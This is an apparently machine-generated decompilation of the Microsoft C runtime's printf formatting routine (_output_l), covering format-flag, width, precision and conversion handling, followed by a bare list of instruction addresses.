																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x428240; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428228))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x428268; // 0x7b1f9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428254))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041ADD0(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E004356D0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E00435710( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E004356D0(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E00435710( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E004341E0(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E00435710( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E004356D0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x4282d4; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00428298))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E00428310(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0xf9b80f80
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xfe6faf80
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xfe6d6f80
																							E00424670(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428310(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428350(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x27c) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E00428310(__ebp + 0x14);
																			if(E00433EC0() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E330();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																				__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADD0(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427cdc
0x00427cdc
0x00427cdc
0x00427cdc
0x00427cdc
0x00000000
0x00427d4b
0x00000000
0x00427d4b
0x00000000
0x00427d4b
0x00427d4b
0x00427d53
0x00427d75
0x00427d7b
0x00427da0
0x00427de7
0x00427dea
0x00427e0b
0x00427e10
0x00427e15
0x00427e1b
0x00427dec
0x00427df0
0x00427df5
0x00427df8
0x00427df9
0x00427dff
0x00427dff
0x00427da2
0x00427da5
0x00427da8
0x00427dca
0x00427dcf
0x00427dd5
0x00427dd6
0x00427ddc
0x00427daa
0x00427dae
0x00427db3
0x00427db7
0x00427db8
0x00427dbe
0x00427dbe
0x00427de2
0x00427d7d
0x00427d81
0x00427d86
0x00427d89
0x00427d8f
0x00427d8f
0x00427d55
0x00427d59
0x00427d5e
0x00427d61
0x00427d67
0x00427d67
0x00427e27
0x00427e69
0x00427e6f
0x00427e7b
0x00000000
0x00427e29
0x00427e29
0x00427e29
0x00427e30
0x00000000
0x00427e3d
0x00427e3d
0x00427e4b
0x00427e50
0x00427e56
0x00427e64
0x00427e81
0x00427e89
0x00427eab
0x00427eab
0x00427eb5
0x00427ec6
0x00427ed0
0x00427ed2
0x00427ed2
0x00427eb7
0x00427eb7
0x00427eb7
0x00427ee5
0x00427ee7
0x00427ee7
0x00427ef1
0x00427ef4
0x00427ef4
0x00427efa
0x00427efd
0x00427f02
0x00000000
0x00000000
0x00427f12
0x00427f15
0x00427f1f
0x00427f2e
0x00427f37
0x00427f4d
0x00427f53
0x00427f60
0x00427f6e
0x00427f6e
0x00427f7d
0x00427f85
0x00427f85
0x00427f8d
0x00427f93
0x00427f9c
0x00427fa8
0x00427fc1
0x00427fc7
0x00427fd0
0x00427fd0
0x00000000
0x00427fd3
0x00000000
0x00427fd3
0x00000000
0x00427fd3
0x00000000
0x00427fd3
0x00000000
0x00427fd3
0x00000000
0x00427fd3
0x00000000
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x004281be
0x004281c2
0x004281ca
0x004281cf
0x004281d2
0x004281d2
0x004281d9
0x004281d9
0x0042735f
0x00427372
0x00427377
0x00000000
0x0042738a
0x00427394
0x004273bb
0x004273a2
0x004273b3
0x004273b3
0x00427394
0x004273c5
0x004273cb
0x004273dd
0x004273e8
0x004273f4
0x00427401
0x00000000
0x00000000
0x00427407
0x0042740d
0x00000000
0x00427414
0x00427414
0x0042742c
0x00427431
0x00427436
0x004274f0
0x00427503
0x00427508
0x00000000
0x0042743c
0x0042744f
0x00427454
0x0042745a
0x0042745c
0x00427465
0x00427468
0x00427474
0x00427478
0x0042747e
0x00427480
0x00427485
0x00427487
0x0042748c
0x00427491
0x00427493
0x00427498
0x0042749e
0x004274a0
0x004274a0
0x0042749e
0x004274a1
0x004274a8
0x00000000
0x004274aa
0x004274af
0x004274cb
0x004274d3
0x004274e0
0x004274e5
0x004281f8
0x00428205
0x00428205
0x004274a8
0x00000000
0x00427510
0x00427510
0x00427517
0x0042751a
0x0042751d
0x00427520
0x00427523
0x00427526
0x00427529
0x00427530
0x00427537
0x00000000
0x00000000
0x00427543
0x00427543
0x0042754a
0x00427556
0x00427559
0x00427566
0x00000000
0x00000000
0x00427568
0x00427568
0x0042756e
0x0042756e
0x00427575
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004275b8
0x004275b8
0x004275c2
0x004275ec
0x004275ef
0x004275f2
0x004275f9
0x004275f9
0x004275fd
0x004275c4
0x004275c4
0x004275d0
0x004275d7
0x004275d9
0x004275dc
0x004275df
0x004275e5
0x004275e7
0x004275e7
0x004275ea
0x00427600
0x00000000
0x00000000
0x00427605
0x00427605
0x00000000
0x00000000
0x00427611
0x00427611
0x0042761b
0x0042763e
0x00427648
0x00427648
0x0042764c
0x0042761d
0x0042761d
0x00427629
0x00427630
0x00427632
0x00427632
0x00427639
0x00000000
0x00000000
0x00427654
0x00427654
0x0042765b
0x00427667
0x0042766a
0x00427677
0x0042778a
0x00000000
0x0042778a
0x0042767d
0x0042767d
0x00427683
0x00427683
0x0042768a
0x00000000
0x004276c0
0x004276c0
0x004276c3
0x004276c9
0x004276f1
0x004276f1
0x004276f4
0x004276fa
0x0042771f
0x0042771f
0x00427722
0x00427728
0x00427761
0x00427772
0x00000000
0x00427772
0x0042772a
0x0042772a
0x0042772d
0x00427733
0x00000000
0x00000000
0x00427735
0x00427735
